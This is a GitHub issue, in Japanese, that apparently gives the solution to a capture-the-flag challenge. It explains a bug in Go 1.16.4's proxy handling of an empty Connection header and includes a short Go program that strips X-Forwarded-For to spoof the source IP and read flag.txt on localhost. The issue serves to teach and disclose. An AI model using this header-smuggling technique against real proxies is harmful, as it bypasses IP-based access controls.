Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

解答 #2

Open
hiroakis opened this issue Nov 13, 2021 · 1 comment
Open

解答 #2

hiroakis opened this issue Nov 13, 2021 · 1 comment

Comments

@hiroakis
Copy link
Member

解答です!詳細は弊社技術ブログ(https://tech.kanmu.co.jp/) で解説しますが、 Go 1.16.4 には空の Connection ヘッダを送るとプロキシを突破することができるバグがあります(本来はプロキシの後段には Connection ヘッダは転送されない)。さらに Connection ヘッダの値として設定されたヘッダは削除されるという仕様があります。これを Go 1.16.4 の issue とその PR から読み取っていただくと、次のようなコードを書くことでプロキシを越えて Connection ヘッダを送ることができ、さらにそこに設定されたヘッダを削除することができます。これにより X-Forwarded-For を削除することができます。結果として backend に到達する送信元IPを偽装して目的のフラグにたどり着くことができます。

package main

import (
        "bytes"
        "fmt"
        "io"
        "log"
        "net/http"
)

func main() {
        req, err := http.NewRequest("GET", "http://localhost:8000/flag.txt", nil)
        if err != nil {
                log.Fatal(err)
        }
        // 空の Connection ヘッダを送り
        req.Header.Add("Connection", "")
        // Connection ヘッダの値に X-Forwarded-For を設定する
        req.Header.Add("Connection", "X-Forwarded-For")

        client := &http.Client{}
        resp, err := client.Do(req)
        if err != nil {
                log.Fatal(err)
        }
        defer resp.Body.Close()

        bb := &bytes.Buffer{}
        io.Copy(bb, resp.Body)
        fmt.Println(bb.String())
}
@mururu
Copy link
Member

mururu commented Nov 13, 2021

解説記事です https://tech.kanmu.co.jp/entry/2021/11/13/183011

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants